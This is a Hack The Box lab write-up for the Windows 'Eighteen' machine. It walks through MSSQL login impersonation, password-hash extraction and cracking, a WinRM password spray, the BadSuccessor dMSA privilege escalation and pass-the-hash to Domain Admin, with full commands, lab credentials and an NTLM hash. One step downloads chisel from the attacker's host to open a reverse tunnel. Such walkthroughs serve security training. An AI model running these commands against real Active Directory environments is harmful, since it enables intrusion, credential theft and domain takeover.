Eighteen — HTB Writeup#

Machine Summary#

Overview#

Eighteen is a Windows Server 2025 Domain Controller running IIS with a Flask financial planning web app backed by MSSQL. Initial access came through MSSQL credentials for user kevin, who could impersonate the appdev login to extract PBKDF2 password hashes from the application database. Cracking the hash for adam.scott yielded WinRM access and the user flag. Privilege escalation exploited the BadSuccessor vulnerability (CVE-2025-53779) in delegated Managed Service Accounts (dMSA) — a feature new to Server 2025 — to inherit the Administrator’s NTLM hash and gain a full Domain Admin shell.

Reconnaissance#

Port Scanning#

A targeted Nmap scan revealed three open TCP ports:

$ nmap -Pn -sC -sV -p 80,1433,5985 10.129.3.181PORT     STATE SERVICE  VERSION80/tcp   open  http     Microsoft IIS httpd 10.01433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM| ms-sql-ntlm-info:|   Target_Name: EIGHTEEN|   NetBIOS_Domain_Name: EIGHTEEN|   NetBIOS_Computer_Name: DC01|   DNS_Domain_Name: eighteen.htb|   DNS_Computer_Name: DC01.eighteen.htb5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

Key takeaways:

• Port 80: IIS 10.0 hosting a Flask/Werkzeug web app, redirects to eighteen.htb
• Port 1433: Microsoft SQL Server 2022 RTM — NTLM info leaked the domain EIGHTEEN and DC name DC01
• Port 5985: WinRM — Windows Remote Management over HTTP
• DNS (UDP 53): Active; SOA record confirms dc01.eighteen.htb as the domain controller

Hosts file entries added:

10.129.3.181    eighteen.htb10.129.3.181    dc01.eighteen.htb

Web Application#

The web application at http://eighteen.htb was a financial planning tool built with Python Flask behind IIS. Key routes discovered:

Notable findings:

• No CSRF tokens on any forms
• MSSQL ODBC error messages leaked in flash messages when the database was unreachable
• Flask session cookies signed with itsdangerous (secret key not crackable via rockyou)
• No subdomains found via ffuf

Enumeration#

MSSQL — User & Database Enumeration#

Connected to MSSQL using the provided credentials kevin:iNa2we6haRj2gaw!:

$ impacket-mssqlclient 'kevin:iNa2we6haRj2gaw!@10.129.3.181'SQL (kevin  guest@master)> SELECT name FROM sys.databases;mastertempdbmodelmsdbfinancial_plannerSQL (kevin  guest@master)> SELECT name FROM sys.server_principals WHERE type_desc IN ('SQL_LOGIN','WINDOWS_LOGIN');sakevinappdevSQL (kevin  guest@master)> SELECT DISTINCT b.name FROM sys.server_permissions a    INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id    WHERE a.permission_name = 'IMPERSONATE';appdev

Key findings:

• Database financial_planner exists (the Flask app’s backend)
• Three SQL logins: sa, kevin, appdev
• kevin can impersonate appdev via the IMPERSONATE permission

RID Brute-Force — Domain User Enumeration#

$ netexec mssql 10.129.3.181 -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-bruteMSSQL  10.129.3.181  1433  DC01  [+] DC01\kevin:iNa2we6haRj2gaw!...MSSQL  10.129.3.181  1433  DC01  1603: EIGHTEEN\HRMSSQL  10.129.3.181  1433  DC01  1604: EIGHTEEN\ITMSSQL  10.129.3.181  1433  DC01  1605: EIGHTEEN\FinanceMSSQL  10.129.3.181  1433  DC01  1606: EIGHTEEN\jamie.dunnMSSQL  10.129.3.181  1433  DC01  1607: EIGHTEEN\jane.smithMSSQL  10.129.3.181  1433  DC01  1608: EIGHTEEN\alice.jonesMSSQL  10.129.3.181  1433  DC01  1609: EIGHTEEN\adam.scottMSSQL  10.129.3.181  1433  DC01  1610: EIGHTEEN\bob.brownMSSQL  10.129.3.181  1433  DC01  1611: EIGHTEEN\carol.whiteMSSQL  10.129.3.181  1433  DC01  1612: EIGHTEEN\dave.green

Groups of interest: HR, IT, Finance — plus 7 domain user accounts and the mssqlsvc service account.

Exploitation — User Flag#

Step 1: SQL Impersonation & Hash Extraction#

Using kevin’s IMPERSONATE privilege to access the financial_planner database as appdev:

from impacket.tds import MSSQLms = MSSQL('10.129.3.181', 1433)ms.connect()ms.login('master', 'kevin', 'iNa2we6haRj2gaw!')ms.sql_query("EXECUTE AS LOGIN = 'appdev'")ms.sql_query('SELECT username, email, password_hash FROM financial_planner.dbo.users')ms.printRows()

Result:

username   email                password_hash--------   ------------------   ----------------------------------------admin      admin@eighteen.htb   pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133

The hash is a Werkzeug PBKDF2-HMAC-SHA256 hash with 600,000 iterations.

Step 2: PBKDF2 Hash Cracking#

Converted the Werkzeug hash to hashcat mode 10900 format and cracked it:

$ hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt

Cracked password: iloveyou1

Step 3: Password Spray → adam.scott#

With the cracked password and the user list from RID brute-force:

$ netexec winrm dc01 -u users.txt -p iloveyou1 --continue-on-successWINRM  10.129.3.181  5985  DC01  [+] eighteen.htb\adam.scott:iloveyou1 (Pwn3d!)

Step 4: WinRM Shell & User Flag#

$ evil-winrm -i 10.129.3.181 -u adam.scott -p iloveyou1*Evil-WinRM* PS C:\Users\adam.scott\Documents> type C:\Users\adam.scott\Desktop\user.txta03fc29e438acf4dad2b3f497e9db761

User Flag: a03fc29e438acf4dad2b3f497e9db761

Privilege Escalation — Root Flag#

Step 5: AD Enumeration — CreateChild Permission#

adam.scott is a member of the IT group. AD enumeration revealed that the IT group has CREATE_CHILD and WRITE permissions on OU=Staff,DC=eighteen,DC=htb. This permission allows creating new objects — including dMSA (delegated Managed Service Accounts) — within the OU.

Step 6: BadSuccessor dMSA Exploit (CVE-2025-53779)#

Windows Server 2025 introduced delegated Managed Service Accounts (dMSA), which support an account migration feature. The msDS-ManagedAccountPrecededByLink attribute tells the KDC which account the dMSA succeeds, and when msDS-DelegatedMSAState is set to 2 (migration completed), the KDC automatically grants the dMSA all privileges of the preceding account via PAC inheritance.

The attack: Create a dMSA in the writable OU, point its msDS-ManagedAccountPrecededByLink to the Administrator account, and set the migration state to complete. The KDC then treats the dMSA as the Administrator’s successor, including the Administrator’s NTLM hash in the Kerberos ticket.

Since LDAP (389) and Kerberos (88) were filtered from outside, a chisel reverse SOCKS proxy was set up through WinRM:

Attacker:

$ chisel server -p 8080 --reverse

Target (via evil-winrm):

*Evil-WinRM* PS> Invoke-WebRequest -Uri 'http://10.10.14.51:8888/chisel.exe' -OutFile chisel.exe*Evil-WinRM* PS> Start-Process chisel.exe -ArgumentList 'client','10.10.14.51:8080','R:1080:socks'

Then used bloodyAD through the proxy to execute the BadSuccessor attack:

$ proxychains bloodyAD -d eighteen.htb -u adam.scott -p iloveyou1 \    --host 10.129.3.181 add badSuccessor 'writeup_dmsa8' \    --ou 'OU=Staff,DC=eighteen,DC=htb' \    -t 'CN=Administrator,CN=Users,DC=eighteen,DC=htb' --prepatch[+] Creating DMSA writeup_dmsa8$ in OU=Staff,DC=eighteen,DC=htb[+] Impersonating: CN=Administrator,CN=Users,DC=eighteen,DC=htbClock skew detected. Adjusting local time by 7:00:00. Retrying operation.[+] dMSA TGT stored in ccache file writeup_dmsa8_Qn.ccachedMSA previous keys found in TGS (including keys of preceding managed accounts):RC4: 0b133be956bfaddf9cea56701affddec

bloodyAD automatically:

1. Created the dMSA object with the correct attributes
2. Set msDS-ManagedAccountPrecededByLink to Administrator
3. Set msDS-DelegatedMSAState=2 (migration completed)
4. Retrieved a TGT for the dMSA
5. Extracted the Administrator’s NTLM hash from the PAC: 0b133be956bfaddf9cea56701affddec

Step 7: Pass-the-Hash → Root Flag#

$ evil-winrm -i 10.129.3.181 -u administrator -H 0b133be956bfaddf9cea56701affddec*Evil-WinRM* PS C:\Users\Administrator\Documents> whoamieighteen\administrator*Evil-WinRM* PS C:\Users\Administrator\Documents> hostnameDC01*Evil-WinRM* PS C:\Users\Administrator\Documents> type C:\Users\Administrator\Desktop\root.txtb22f72a66c83a0a9678822800bc5e862

Root Flag: b22f72a66c83a0a9678822800bc5e862

Obstacles & Lessons Learned#

1. Filtered AD ports: Most AD services (88, 135, 389, 445, 636, 3268, 3389) were filtered from outside. Only ports 80, 1433, and 5985 were accessible. This required setting up a chisel SOCKS proxy through WinRM for LDAP and Kerberos traffic.

2. Clock skew: A 7-hour clock offset between the attacker machine and the DC caused Kerberos authentication failures. bloodyAD handled this automatically by detecting and adjusting for the skew.

3. dMSA creation requirements: Creating a dMSA via PowerShell ADSI required the mandatory attribute msDS-ManagedPasswordInterval in addition to the exploitation-relevant attributes. Initial attempts using New-ADServiceAccount created gMSA objects instead of dMSA objects.

4. Machine resets: During the engagement, port 1433 was intermittently filtered (likely due to previous users modifying the machine state), requiring machine resets to restore the intended configuration.

Tools Used#

Credentials#